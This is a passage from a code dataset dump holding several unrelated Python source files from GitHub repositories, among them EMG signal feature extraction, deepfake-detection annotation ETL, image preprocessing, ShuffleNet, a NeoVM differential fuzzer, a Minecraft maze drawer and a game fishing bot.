os.path.exists(path_train):\n os.makedirs(path_train)\n if not os.path.exists(path_test):\n os.makedirs(path_test)\n if not os.path.exists(path_val):\n os.makedirs(path_val)\n\n # populate train, test, val directories:\n raw_files = sorted(os.listdir(path_load))\n for raw_file in raw_files:\n file_name = int((str(raw_file))[0:4]) # first 4 digits are user id\n file_path = os.path.join(path_load, raw_file)\n if file_name <= 3:\n shutil.copy(file_path, path_test)\n elif 3 < file_name <= 11:\n shutil.copy(file_path, path_val)\n else:\n shutil.copy(file_path, path_train)\n\n folders = os.listdir(path_database) # 3 folders in Database: Train, Val, Test\n\n # iterate in folders\n for folder in folders:\n data = os.path.join(path, folder)\n files = os.listdir(data)\n\n # iterate files in a folder\n for file in files:\n filepath = data + \"/\" + str(file)\n signal = np.loadtxt(filepath)\n label = int((str(file))[5:7])\n\n step = N - overlap\n real_max_value = len(signal) - overlap\n max_value = int(real_max_value / step) * step # multiples of overlap must fit signal length.\n\n # Here was a minor bug: windows dimensions not equal to last window dimension for overlap != 25\n for i in range(0, max_value, step):\n window = signal[i: (i + N)]\n window = np.reshape(window, (N * 8))\n # window = np.reshape(window, (N*8, )) # reshape both hamming if wanted, but does not make improvements\n # window *= hamming\n\n if folder == 'Train':\n x_train.append(window)\n y_train.append(label)\n elif folder == 'Test':\n x_test.append(window)\n y_test.append(label)\n elif folder == 'Val':\n x_val.append(window)\n y_val.append(label)\n\n x_train = np.asanyarray(x_train)\n y_train = np.asanyarray(y_train)\n x_val = np.asanyarray(x_val)\n y_val = np.asanyarray(y_val)\n x_test = np.asanyarray(x_test)\n y_test = np.asanyarray(y_test)\n\n # make one hot encodings\n y_train = keras.utils.to_categorical(y_train, 13)\n y_val = keras.utils.to_categorical(y_val, 13)\n y_test = keras.utils.to_categorical(y_test, 13)\n\n return x_train, y_train, x_val, y_val, x_test, y_test\n\n\n# extracts features and returns 6 numpy arrays\ndef extract_features_from_channel():\n # data base read and format:\n x_train, y_train = [], []\n x_test, y_test = [], []\n x_val, y_val = [], []\n\n # window size, choose it to be 50 samples\n # because 50 & 200Hz(sampling rate) = 250ms\n # a sample = one line from a (*,8) matrix\n N = 50\n overlap_procent = 0.5 # input it in range [0,1]\n overlap = int(N * overlap_procent)\n\n folders = os.listdir(path) # 3 folders in Database: Train, Val, Test\n\n # iterate in folders\n for folder in folders:\n data = os.path.join(path, folder)\n files = os.listdir(data)\n\n # iterate files in a folder\n for file in files:\n filepath = data + \"/\" + str(file)\n signal2 = np.loadtxt(filepath) # renamed it 'signal2'. because in a library exists 'signal' function\n label = int((str(file))[5:7])\n\n step = N - overlap\n real_max_value = len(signal2) - overlap\n max_value = int(real_max_value / step) * step # multiples of overlap must fit signal length.\n\n # Here was a minor bug: windows dimensions not equal to last window dimension for overlap != 25\n for i in range(0, max_value, step):\n window = signal2[i: (i + N)]\n features = []\n\n # calculate features for each channel and append them\n for nr_of_channels in range(0, window.shape[1]):\n channel = window[:, nr_of_channels]\n channel = np.reshape(channel, (1, N))\n\n # calculate features:\n\n # time descriptors\n MAV = (1 / len(channel)) * abs_sum(channel)\n SSC_positions = np.nonzero(np.diff(channel > 0))[0]\n SSC = SSC_positions.size / channel.size # returns frequnecy of SSC, not sure this is correct\n ZCR = SSC_positions.size\n WL = waveform_length(channel)\n Skewness = skew(channel) # normal da 0, anormal este != 0\n RMS = np.sqrt(np.mean(channel ** 2))\n # Hjorth = ?\n IEMG = integratedEMG(channel)\n # Autoregression = ?\n # SampEn = sampen.sampen2(channel) # vezi: https://pypi.org/project/sampen/\n # EMGHist = ?\n\n # frequency descriptors\n powerspectrum = np.abs(np.fft.fft(channel)) ** 2\n powerspectrum[np.where(powerspectrum == 0)] = 10**-10 # pt ca: RuntimeWarning: divide by zero encountered in log\n Cepstral = np.fft.ifft(np.log(powerspectrum)) # vezi: https://dsp.stackexchange.com/questions/48886/formula-to-calculate-cepstral-coefficients-not-mfcc\n # mDWT = nu a mers import pywt(oricum e doar DWT, deci fara 'marginal')\n # vezi: https://pywavelets.readthedocs.io/en/latest/install.html\n f, t, Zxx = signal.stft(channel, fs=200, nperseg=len(channel))\n\n #make mean where is an array:\n mav = np.mean(MAV)\n skewness = np.mean(Skewness)\n # sampen = np.mean(SampEn)\n cepstral = np.mean(np.abs(Cepstral))\n zxx = np.mean(np.abs(Zxx))\n\n features.append(np.array([mav, SSC, ZCR, WL, RMS, IEMG, cepstral, zxx], dtype = float))\n # obs: Skewness era mereu 0(ceea ce e bine), asa ca l-am scos ca nu oferea informatii si ca sa am 8 descriptori\n\n features = np.asanyarray(features)\n features = np.reshape(features, (window.shape[1] * features[0].size))\n if folder == 'Train':\n x_train.append(features)\n y_train.append(label)\n elif folder == 'Test':\n x_test.append(features)\n y_test.append(label)\n elif folder == 'Val':\n x_val.append(features)\n y_val.append(label)\n\n x_train = np.asanyarray(x_train)\n y_train = np.asanyarray(y_train)\n x_val = np.asanyarray(x_val)\n y_val = np.asanyarray(y_val)\n x_test = np.asanyarray(x_test)\n y_test = np.asanyarray(y_test)\n\n # make one hot encodings\n y_train = keras.utils.to_categorical(y_train, 13)\n y_val = keras.utils.to_categorical(y_val, 13)\n y_test = keras.utils.to_categorical(y_test, 13)\n\n return x_train, y_train, x_val, y_val, x_test, y_test\n\n\n# helper functions:\ndef abs_sum(arr):\n suma = 0\n for i in arr:\n suma += i\n return suma\n\n\ndef waveform_length(arr):\n suma = 0\n arr = arr.reshape(arr.size) # make it flat\n for i in range(1, arr.size):\n suma += abs(arr[i] - arr[i - 1])\n return suma\n\n\ndef integratedEMG(arr):\n suma = 0\n arr = arr.reshape(arr.size) # make it flat\n for i in range(1, arr.size):\n suma += abs(arr[i])\n return suma\n\n","repo_name":"IoanTurturea/EMG-Machine-Learning","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":9391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"7885249090","text":"import pandas as pd\nimport numpy as np\nimport pickle\nimport re\nimport os.path as osp\n\nfrom tqdm import tqdm\n\n# Load in train/valid split for DFDC\nsplit_df = pd.read_csv('../../data/dfdc/train_with_splits.csv')\n# Load in bounding box data from faces_to_examine\nfaces_df = pd.read_csv('../../data/dfdc/faces_to_examine.csv')\n# Load in bounding box data from examined faces\n# Only when >1 face was detected was the face examined\nexamined_df = pd.read_csv('../../data/dfdc/faces_to_examine/examined_faces.csv')\n# Load in annotations when predicting on DFDC data\n# This will save time, since we won't have to load the images again\nwith open('../../data/dfdc/frames_annotations_for_widerface_retinanet.pkl', 'rb') as f:\n frames_ann = pickle.load(f)\n\n# Turn it into a dict\nframes_ann_dict = {_['filename'] : (_['height'], _['width']) for _ in frames_ann}\n\n# Load in DFDC predictions to get number of faces detected\n# per frame\nwith open('../../data/dfdc/face_predictions/predictions.pkl', 'rb') as f:\n face_preds = pickle.load(f)\n\n\nboxes = face_preds['y_pred']\nnames = face_preds['names']\n\nTHRESHOLD = 0.6\n\nnum_faces = []\nfor b in tqdm(boxes, total=len(boxes)):\n b = b[0]\n num_faces.append(b[b[:,-1] >= THRESHOLD].shape[0])\n\n# Make num_face_df to merge with faces_df\nnum_face_df = pd.DataFrame({\n 'num_faces': num_faces,\n '_imgfile': names\n })\nfaces_df['imgfile'] = [_.replace('../../data/dfdc/faces_to_examine/', '') for _ in faces_df['imgfile']]\nfaces_df['_imgfile'] = ['-'.join(_.split('-')[:-1])+'.png' for _ in faces_df['imgfile']]\nfaces_df = faces_df.merge(num_face_df, on='_imgfile')\n\none_face_df = faces_df[faces_df['num_faces'] == 1]\ntwo_face_df = faces_df[faces_df['num_faces'] > 1]\n# Use examined_df to update two_face_df\nexamined_df['imgfile'] = [re.sub(r'facex[0-9]/', '', _) for _ in examined_df['imgfile']] \ntwo_face_df = two_face_df.merge(examined_df, on='imgfile')\nfaces_df = pd.concat([one_face_df, two_face_df])\nfaces_df['filename'] = [_.split('/')[-1].split('-')[0] + '.mp4' for _ in faces_df['_imgfile']]\nfaces_df = faces_df.merge(split_df, on='filename', how='left')\n# Some videos are missing because I subsample validation to be 50/50\n# Assign those to be valid\nfaces_df.loc[faces_df['split'].isna(), 'split'] = 'valid'\nfaces_df['framefile'] = ['-'.join(_.split('-')[:-1])+'.png' for _ in faces_df['imgfile']]\n\n# Now, make the annotations\ndef enlarge_box(box, img_shape, scale=1.1):\n # box = (x1, y1, x2, y2)\n # w = max width\n # h = max height\n x1, y1, x2, y2 = box\n w = x2 - x1\n h = y2 - y1\n w *= scale\n h *= scale\n xc = (x2 + x1) / 2\n yc = (y2 + y1) / 2\n x1 = np.max((0, xc - w / 2))\n y1 = np.max((0, yc - h / 2))\n x2 = np.min((img_shape[1], xc + w / 2))\n y2 = np.min((img_shape[0], yc + h / 2)) \n return int(x1), int(y1), int(x2), int(y2)\n\n\nannotations = []\nfor _fp, _df in tqdm(faces_df.groupby('framefile'), total=len(faces_df['framefile'].unique())):\n height, width = frames_ann_dict[_fp]\n boxes = np.asarray(_df[['x1','y1','x2','y2']])\n boxes = np.asarray([enlarge_box(_, (height,width), 1.5) for _ in boxes])\n tmp_dict = {\n 'filename': _fp,\n 'height': height,\n 'width': width,\n 'ann': {\n 'bboxes': boxes,\n 'labels': np.asarray([1] * len(_df))\n },\n 'img_class': 1,\n 'split': _df['split'].iloc[0]\n }\n assert len(tmp_dict['ann']['bboxes']) == len(tmp_dict['ann']['labels'])\n annotations.append(tmp_dict)\n\nwith open('../../data/dfdc/train_bbox_annotations_with_splits.pkl', 'wb') as f:\n pickle.dump(annotations, f)\n\nabbrev_frames_ann = [_ for _ in frames_ann if _['filename'].split('-')[-1].replace('.png', '') in ('00','10','20')]\n\nwith open('../../data/dfdc/abbrev_frames_annotations_for_widerface_retinanet.pkl', 'wb') as f:\n pickle.dump(abbrev_frames_ann, f)\n\n","repo_name":"yihhan/3dcnn_code","sub_path":"deepfake/deepfake/src/etl/9_create_bbox_annotations_from_dfdc.py","file_name":"9_create_bbox_annotations_from_dfdc.py","file_ext":"py","file_size_in_byte":3861,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"28529775139","text":"# ��fruit_vegetable_data的数据做一次清洗\n# - 统一文件后缀:{'PNG', 'JPG', 'png', 'jpeg', 'jpg'}五种\n# - 统一RGB通道\n# - (Optional) 裁剪大小\n\n# resize_size=224 ->\n# test calc complete: mean=0.5592794912530372, std=0.33495044731382206\n# train calc complete: mean=0.5396750806068386, std=0.3302109593831783\n# validation calc complete: mean=0.5586149059496127, std=0.3347352803119484\n\nimport os\nimport glob\nimport PIL.Image\nimport torch\nimport numpy as np\nfrom PIL.Image import Image\nfrom torchvision import transforms\n\ninput_folder = './fruit_vegetable_raw_data/'\noutput_folder = './fruit_vegetable_data_224'\ncalc_folder = './fruit_vegetable_data_224'\n# folder_list = ['test']\nfolder_list = ['test', 'train', 'validation']\nimage_names = ['PNG', 'JPG', 'png', 'jpeg', 'jpg']\nchannel_name = 'RGB'\nresize_size = 224\n\n\ndef preprocess():\n image_transform = None\n if resize_size is not None:\n image_transform = transforms.Compose([\n transforms.Resize((resize_size, resize_size)),\n # transforms.ToTensor()\n ])\n else:\n image_transform = transforms.Compose([\n # transforms.ToTensor()\n ])\n\n for folder in folder_list:\n input_folder_path = os.path.join(input_folder, folder)\n output_folder_path = os.path.join(output_folder, folder)\n print(f'working on {input_folder_path}..')\n categories = glob.glob(pathname=os.path.join(input_folder_path, '*'), recursive=False)\n print(f'{len(categories)} categories found')\n # 针对每个category\n for category in categories:\n category = category.replace(input_folder_path, '').lstrip('./\\\\')\n # Image扫描\n all_images = []\n for name in image_names:\n # 五种image应该全部进来了\n all_images += glob.glob(pathname=os.path.join(input_folder_path, category, f'*.{name}'))\n print(f'image scan({folder}/{category}): {len(all_images)} images')\n # Image处理\n for image in all_images:\n assert isinstance(image, str)\n # 处理\n img_pil = PIL.Image.open(image).convert('RGB')\n img_tensor = image_transform(img_pil)\n assert isinstance(img_tensor, PIL.Image.Image)\n # 保存,先提取带后缀的文件名\n image_name = image.replace(os.path.join(input_folder_path, category), '').lstrip('./\\\\')\n # 不带后缀的文件名\n image_name = os.path.splitext(image_name)[0]\n # 计算完整保存路径\n output_img_path = os.path.join(output_folder_path, category, f'{image_name}.png')\n # 生成文件夹\n os.makedirs(os.path.join(output_folder_path, category), exist_ok=True)\n img_tensor.save(output_img_path, 'PNG')\n\n\ndef mean_std():\n # 每个数据集分割分开来看\n for folder in folder_list:\n all_images = []\n num_pixels = 0.0\n sum_value = 0.0\n sum_squares = 0.0\n calc_folder_path = os.path.join(calc_folder, folder)\n categories = glob.glob(pathname=os.path.join(calc_folder_path, '*'), recursive=False)\n for category in categories:\n category = category.replace(calc_folder_path, '').lstrip('./\\\\')\n for name in image_names:\n all_images += glob.glob(pathname=os.path.join(calc_folder_path, category, f'*.{name}'))\n # 每个category的都合在一起\n for image in all_images:\n assert isinstance(image, str)\n img_pil = PIL.Image.open(image).convert('RGB')\n # 一定要是255.0,否则就会是int类型,基本上全都是0了\n img_np = np.array(img_pil).astype(np.uint8) / 255.0\n num_pixels += img_np.size\n sum_value += np.sum(img_np)\n sum_squares += np.sum(np.square(img_np))\n # print(np.shape(np_arrays)) # [DataSize, Height, Width, Channel]\n mean = sum_value / num_pixels\n std = np.sqrt(sum_squares / num_pixels - np.square(mean))\n print(f'{folder} calc complete: mean={mean}, std={std}')\n\n\nif __name__ == '__main__':\n preprocess()\n","repo_name":"alexzms/Reconstruct-Paperwork","sub_path":"ResNet_data/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":4251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71249479469","text":"\"\"\"Test eq file\r\n\"\"\"\r\nfrom eq import *\r\n\r\n__author__ = \"help@castellanidavide.it\"\r\n__version__ = \"1.0 2021-1-3\"\r\n\r\ndef test():\r\n\t\"\"\"Tests the eq function in the eq class\r\n\tWrite here all test you want to do.\r\n\tREMEMBER to test your programm you can't use __init__ function\r\n\t\"\"\"\r\n\tassert eq.eq() == \"eq\", \"test failed\"\r\n\t#assert eq.() == , \"\"\r\n\t\r\nif __name__ == \"__main__\":\r\n\ttest()\r\n","repo_name":"CastellaniDavideTest/test-eq","sub_path":"bin/test_eq.py","file_name":"test_eq.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18291570421","text":"# Timothy Metzger\n# Advent of Code 2021\n# Day 14\n\nfrom collections import Counter\n\ndef main():\n with open('inputs/day14.txt') as f:\n template = f.readline().strip()\n f.readline()\n pair_insertions = {}\n for line in f:\n key,val = line.strip().split(\" -> \")\n pair_insertions[key] = val\n\n\n # Part 1:\n # Naive solution is the easiest here\n # Each iterations adds len() - 1 characters to the length\n\n\n # steps = 10\n #\n # for i in range(steps):\n # new_str = \"\"\n # for i in range(len(template) - 1):\n # new_str += template[i] + pair_insertions[template[i:i+2]]\n # new_str += template[-1]\n # template = new_str\n #\n # counts = Counter(template)\n # print(counts)\n # part1_ans = max(counts.values()) - min(counts.values())\n # print('Part 1: ', part1_ans)\n\n\n # Part 2:\n # Going to try keeping count of the number of pairs each iteration\n steps = 40\n\n\n pair_counts = {key: 0 for key in pair_insertions.keys()}\n\n letters = {}\n for key in pair_counts.keys():\n letters[key[0]] = 0\n letters[key[1]] = 0\n for char in template:\n letters[char] += 1\n\n for i in range(len(template) - 1):\n pair_counts[template[i:i+2]] = 1\n\n for i in range(steps):\n to_add = {}\n for key,val in pair_counts.items():\n if val == 0:\n continue\n else:\n pair_counts[key] = 0\n\n # Create left pair\n left_key = key[0] + pair_insertions[key]\n if left_key not in to_add:\n to_add[left_key] = 0\n\n to_add[left_key] += val\n\n # Create right pair\n right_key = pair_insertions[key] + key[1]\n if right_key not in to_add:\n to_add[right_key] = 0\n to_add[right_key] += val\n\n # Add letters to overall count\n letters[pair_insertions[key]] += val\n\n continue\n\n\n for key, val in to_add.items():\n pair_counts[key] += val\n\n print(f\"Step {i+1}: {max(letters.values()) - min(letters.values())}\")\n\n part2_answer = max(letters.values()) - min(letters.values())\n print(\"Part 2: \", part2_answer)\n\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"timMetzger/AdventOfCode2021","sub_path":"day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4605189522","text":"import torch.nn as nn\nimport torch\nimport sys\n\nclass PointwiseConv(nn.Module):\n def __init__(self, inchannels, outchannels, **kwargs):\n super().__init__()\n self.pointwise=nn.Sequential(\n nn.Conv2d(in_channels=inchannels, out_channels=outchannels, kernel_size=1, bias=False, **kwargs),\n nn.BatchNorm2d(outchannels)\n )\n\n def forward(self, x):\n out = self.pointwise(x)\n return out\n\n\nclass DepthwiseConv(nn.Module):\n def __init__(self, inchannels, stride, **kwargs):\n super().__init__()\n self.depthwise = nn.Sequential(\n nn.Conv2d(in_channels=inchannels, out_channels=inchannels, kernel_size=3, bias=False, stride=stride,\n padding=1, groups=inchannels, **kwargs),\n nn.BatchNorm2d(inchannels)\n )\n\n def forward(self, x):\n out = self.depthwise(x)\n return out\n\n\ndef ChannelShuffle(input, groups):\n batch_size, C, H, W = input.size()\n output = input.view(batch_size, groups, int(C/groups), H, W)\n output = output.transpose(1, 2).contiguous()\n output = output.view(batch_size, -1, H, W)\n return output\n\n\nclass ShuffleNetUnit(nn.Module):\n def __init__(self, inchannels, outchannels, stride, groups, stage):\n super().__init__()\n if stage == 2:\n self.GConv1 = nn.Sequential(\n PointwiseConv(inchannels, int(outchannels/4), groups=1),\n nn.ReLU(inplace=True)\n )\n else:\n self.GConv1 = nn.Sequential(\n PointwiseConv(inchannels, int(outchannels / 4), groups=groups),\n nn.ReLU(inplace=True)\n )\n\n self.shuffle = ChannelShuffle\n\n self.DWConv = DepthwiseConv(int(outchannels / 4), stride)\n\n if stride != 1 or inchannels != outchannels:\n self.shortcut = nn.AvgPool2d(kernel_size=3, stride=2, padding=1)\n self.fusion = self._Concat\n self.GConv2 = PointwiseConv(int(outchannels / 4), outchannels-inchannels, groups=groups)\n else:\n self.shortcut = nn.Sequential()\n self.fusion = self._Add\n self.GConv2 = PointwiseConv(int(outchannels / 4), outchannels, groups=groups)\n\n self.relu = nn.ReLU(inplace=True)\n\n self.groups = groups\n\n def _Concat(self, x, y):\n return torch.cat((x, y), dim=1)\n\n def _Add(self, x, y):\n return x+y\n\n def forward(self, x):\n out = self.GConv1(x)\n out = self.shuffle(out, self.groups)\n out = self.DWConv(out)\n out = self.GConv2(out)\n out = self.fusion(self.shortcut(x), out)\n out = self.relu(out)\n\n return out\n\n\nclass ShuffleNet(nn.Module):\n def __init__(self, blocks, g, s, num_class):\n super().__init__()\n if g == 1:\n outchannels=[24, 144, 288, 576]\n elif g == 2:\n outchannels = [24, 200, 400, 800]\n elif g == 3:\n outchannels = [24, 240, 480, 960]\n elif g == 4:\n outchannels = [24, 272, 544, 1088]\n elif g == 8:\n outchannels = [24, 384, 768, 1536]\n else:\n print(\"This g is not supported!\")\n sys.exit()\n\n outchannels = [int(s * outchannel) for outchannel in outchannels]\n\n self.Conv1 = nn.Sequential(\n nn.Conv2d(3, outchannels[0], 3, padding=1, stride=1, bias=False),\n nn.BatchNorm2d(outchannels[0]),\n nn.ReLU(inplace=True)\n )\n self.inchannels = outchannels[0]\n self.groups = g\n self.stage2 = self.make_layer(2, 2, blocks[0], outchannels[1])\n self.stage3 = self.make_layer(3, 2, blocks[1], outchannels[2])\n self.stage4 = self.make_layer(4, 2, blocks[2], outchannels[3])\n self.GlobalPool = nn.AdaptiveAvgPool2d(1)\n self.drop = nn.Dropout(0.2)\n self.FC = nn.Linear(outchannels[-1], num_class)\n\n def forward(self, x):\n output = self.Conv1(x)\n output = self.stage2(output)\n output = self.stage3(output)\n output = self.stage4(output)\n output = self.GlobalPool(output)\n output = output.view(output.size(0), -1)\n output = self.drop(output)\n output = self.FC(output)\n\n return output\n\n def make_layer(self, stage, stride, repeat, outchannels):\n strides = [stride] + [1] * (repeat - 1)\n layer = []\n for stride in strides:\n layer.append(ShuffleNetUnit(self.inchannels, outchannels, stride, self.groups, stage))\n self.inchannels = outchannels\n\n return nn.Sequential(*layer)\n\n\ndef shufflenet(blocks, g=3, s=1, num_class=100):\n return ShuffleNet(blocks=blocks, g=g, s=s, num_class=num_class)","repo_name":"EstherBear/small-net-cifar100","sub_path":"models/shufflenet.py","file_name":"shufflenet.py","file_ext":"py","file_size_in_byte":4705,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"3957464417","text":"#!/usr/bin/env python3\n\n\"\"\"\nSemantic diff fuzzer for the C# Neo VM against the NEO VM writtenn in python.\n\"\"\"\n\nimport subprocess\nimport random\nimport struct\nfrom logzero import logger\nfrom itertools import chain\nimport json\nimport os\nimport argparse\nimport secrets\nimport time\nimport binascii\n\nfrom neodiff import NeoVmDiffGenerator\nfrom neodiff.NeoDiff import FuzzerConfig, VMRunnerIO\n\nclass NeoDiffFuzzerConfig(FuzzerConfig):\n def pre_round(self):\n codes = NeoVmDiffGenerator.run(\n self.seed,\n self.roundsize,\n self.probability,\n self.new_typehash_file,\n self.typehash_file,\n )\n for code in codes:\n code = binascii.hexlify(code).decode(\"ascii\")\n self.vm1_queue.append(code)\n self.vm2_queue.append(code)\n\n def post_round(self):\n pass\n\n def clean_vm2_out(self, out):\n for i in range(0, len(out)):\n if len(out) > i + 1:\n look_ahead = out[i + 1]\n if look_ahead[\"opcode\"] == None:\n out[i][\"crash\"] = True\n return out\n\n def clean_vm1_out(self, out):\n for i in range(0, len(out)):\n if len(out) > i + 1:\n look_ahead = out[i + 1]\n if look_ahead[\"opcode\"] == None:\n out[i][\"crash\"] = True\n return out\n\n def is_new_coverage_better(self, new_coverage, old_coverage):\n if len(new_coverage[\"vm1_code\"]) < len(old_coverage[\"vm1_code\"]):\n return True\n return False\n\n def minimize_current_coverage(self):\n typehashes = list(self.current_coverage.keys())\n minimizing = True\n code_cut = 2\n while len(typehashes) and minimizing:\n\n code = self.current_coverage[typehashes[0]][\"vm1_code\"]\n\n _code = code[:code_cut]\n if len(_code) == 0 or code_cut > len(code):\n break\n\n vm1_out, vm2_out = fuzzer.run_both_with_code(_code, _code)\n\n remaining_typehashes = []\n for typehash in typehashes:\n vm1 = self.current_coverage[typehash][\"vm1\"]\n vm2 = self.current_coverage[typehash][\"vm2\"]\n if vm1 in vm1_out and vm2 in vm2_out:\n self.current_coverage[typehash][\"vm1_code\"] = _code\n self.current_coverage[typehash][\"vm2_code\"] = _code\n else:\n remaining_typehashes.append(typehash)\n\n typehashes = remaining_typehashes\n code_cut += 2\n\n\n\"\"\"\npython NeoVMFuzz.py --name 2k20o1p --roundsize 2000 --depth 20 --probability 1\npython NeoVMFuzz.py --name 2k20o20p --roundsize 2000 --depth 20 --probability 20\npython NeoVMFuzz.py --name 2k500o1p --roundsize 2000 --depth 500 --probability 1\npython NeoVMFuzz.py --name 2k500o20p --roundsize 2000 --depth 500 --probability 20\n\"\"\"\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--seed\", \"-s\", default=None, type=int, help=\"The initial seed\")\n parser.add_argument(\"--name\", \"-n\", default=None, type=str, help=\"name\")\n parser.add_argument(\"--roundsize\", \"-r\", default=1000, type=int, help=\"round size\")\n parser.add_argument(\"--depth\", \"-d\", default=50, type=int, help=\"execution depth\")\n parser.add_argument(\"--probability\", \"-p\", default=1, type=int, help=\"propability\")\n\n args = parser.parse_args()\n\n fuzzer = NeoDiffFuzzerConfig(name=args.name)\n fuzzer.probability = args.probability\n fuzzer.roundsize = args.roundsize\n if args.seed:\n fuzzer.seed = args.seed\n else:\n fuzzer.seed = random.randint(0x0000000000000000, 0xFFFFFFFFFFFFFFFF)\n fuzzer.seed = args.seed\n fuzzer.vm1 = VMRunnerIO([\"python\", \"neo-python-VM.py\", str(args.depth)])\n fuzzer.vm2 = VMRunnerIO(\n [\"mono\", \"./neo-vm/src/neo-vm/bin/Debug/net461/Neo.VM.exe\", str(args.depth)]\n )\n fuzzer.clean_exit_opcode = 0x66\n\n fuzzer.fuzz()\n","repo_name":"fgsect/NeoDiff","sub_path":"NeoVMFuzz.py","file_name":"NeoVMFuzz.py","file_ext":"py","file_size_in_byte":3963,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"37"} +{"seq_id":"5166702647","text":"from minecraftstuff import *\nimport serwPol\n\n\nmc = serwPol.podlacz()\npos = mc.player.getTilePos()\n\np = minecraftstuff.MinecraftTurtle(mc, pos)\n\n\n\ndef element(a):\n t = 6\n for i in range(6):\n for k in range(2):\n p.forward(a*t)\n p.right(90)\n t = t-1\n\ndef przejscie(p,x,y,z,i):\n p.penup()\n p.setposition(x,y,z)\n p.setverticalheading(0)\n p.setheading(0)\n p.left(i*90+90)\n p.pendown()\n\n\ndef kwiat(a):\n\n b = p.position\n x = b.x\n y = b.y\n z = b.z\n for l in range(4):\n element(a)\n przejscie(p,x,y,z,l)\n\ndef labirynt(n,w):\n a = w/(n*12+(n+1))\n for i in range(4):\n p.forward(w)\n p.left(90)\n p.penup()\n p.forward(a*7)\n p.left(90)\n p.forward(a*7)\n p.pendown()\n p.setheading(0)\n p.setverticalheading(0)\n for j in range(n):\n for t in range(n):\n kwiat(a)\n p.penup()\n p.forward(13*a)\n p.pendown()\n p.penup()\n p.backward(13*a*n)\n p.left(90)\n p.forward(a*13)\n p.right(90)\n p.pendown()\n\n\np.speed(0)\nlabirynt(8, 500)\n","repo_name":"ssobiech/minecraft-python","sub_path":"labirynt.py","file_name":"labirynt.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28910106074","text":"import pyautogui\nimport ctypes\nimport time\nimport soundcard\n\n# https://stackoverflow.com/questions/14489013/simulate-python-keypresses-for-controlling-a-game\nSendInput = ctypes.windll.user32.SendInput\n\nESC = 0x01\nDOWN = 0xD0\nENTER = 0x1C\n\nPUL = ctypes.POINTER(ctypes.c_ulong)\n\n\nclass KeyBdInput(ctypes.Structure):\n _fields_ = [(\"wVk\", ctypes.c_ushort),\n (\"wScan\", ctypes.c_ushort),\n (\"dwFlags\", ctypes.c_ulong),\n (\"time\", ctypes.c_ulong),\n (\"dwExtraInfo\", PUL)]\n\n\nclass HardwareInput(ctypes.Structure):\n _fields_ = [(\"uMsg\", ctypes.c_ulong),\n (\"wParamL\", ctypes.c_short),\n (\"wParamH\", ctypes.c_ushort)]\n\n\nclass MouseInput(ctypes.Structure):\n _fields_ = [(\"dx\", ctypes.c_long),\n (\"dy\", ctypes.c_long),\n (\"mouseData\", ctypes.c_ulong),\n (\"dwFlags\", ctypes.c_ulong),\n (\"time\", ctypes.c_ulong),\n (\"dwExtraInfo\", PUL)]\n\n\nclass Input_I(ctypes.Union):\n _fields_ = [(\"ki\", KeyBdInput),\n (\"mi\", MouseInput),\n (\"hi\", HardwareInput)]\n\n\nclass Input(ctypes.Structure):\n _fields_ = [(\"type\", ctypes.c_ulong),\n (\"ii\", Input_I)]\n\n\ndef presskey(hexkeycode, holdlength=0.1):\n extra = ctypes.c_ulong(0)\n ii_ = Input_I()\n ii_.ki = KeyBdInput(0, hexkeycode, 0x0008, 0, ctypes.pointer(extra))\n x = Input(ctypes.c_ulong(1), ii_)\n SendInput(1, ctypes.pointer(x), ctypes.sizeof(x))\n time.sleep(holdlength)\n extra = ctypes.c_ulong(0)\n ii_ = Input_I()\n ii_.ki = KeyBdInput(0, hexkeycode, 0x0008 | 0x0002, 0,\n ctypes.pointer(extra))\n x = Input(ctypes.c_ulong(1), ii_)\n SendInput(1, ctypes.pointer(x), ctypes.sizeof(x))\n\n\npyautogui.hotkey('alt', 'tab')\ntime.sleep(1)\npresskey(ESC)\ntime.sleep(2)\nwhile True:\n presskey(DOWN, 2)\n presskey(ENTER)\n time.sleep(3)\n\n mic = soundcard.default_microphone()\n WINDOW = 10\n CASTINGTIME = 20\n THRESHOLD = 0.04\n catch = False\n with mic.recorder(samplerate=44100) as recorder:\n for _ in range(WINDOW * CASTINGTIME):\n data = recorder.record(numframes=(44100 // WINDOW))\n volume = 0.0\n for frame in data:\n volume += abs(frame[0]) + abs(frame[1])\n volume /= 44100 / WINDOW\n print(volume)\n if volume >= THRESHOLD:\n print(\"CATCH!\")\n print('\\a')\n catch = True\n break\n\n presskey(ENTER)\n if catch:\n time.sleep(9)\n else:\n time.sleep(3)\n","repo_name":"qe201020335/nierfishingbot","sub_path":"nierfishingbot.py","file_name":"nierfishingbot.py","file_ext":"py","file_size_in_byte":2610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"74652973227","text":"import game_framework\nfrom pico2d import *\n\nPIXEL_PER_METER = (10.0 / 0.3) # 10 pixel 30 cm\n\n# Ghost Rotate Speed\n# fill expressions correctly\nROTATE_SPEED_DPS = 720\n\n# Ghost Action Speed\n# fill expressions correctly\nTIME_PER_ACTION = 0.5\nACTION_PER_TIME = 1.0 / TIME_PER_ACTION\nFRAMES_PER_ACTION = 8\n\nAWAKE_TIME = 2\n\nGHOST_AWAKE, GHOST_AROUND = range(2)\n\n\nclass GhostAwakeState:\n\n @staticmethod\n def enter(ghost, event):\n ghost.timer = get_time()\n\n @staticmethod\n def exit(ghost, event):\n pass\n\n @staticmethod\n def do(ghost):\n t = get_time() - ghost.timer\n if 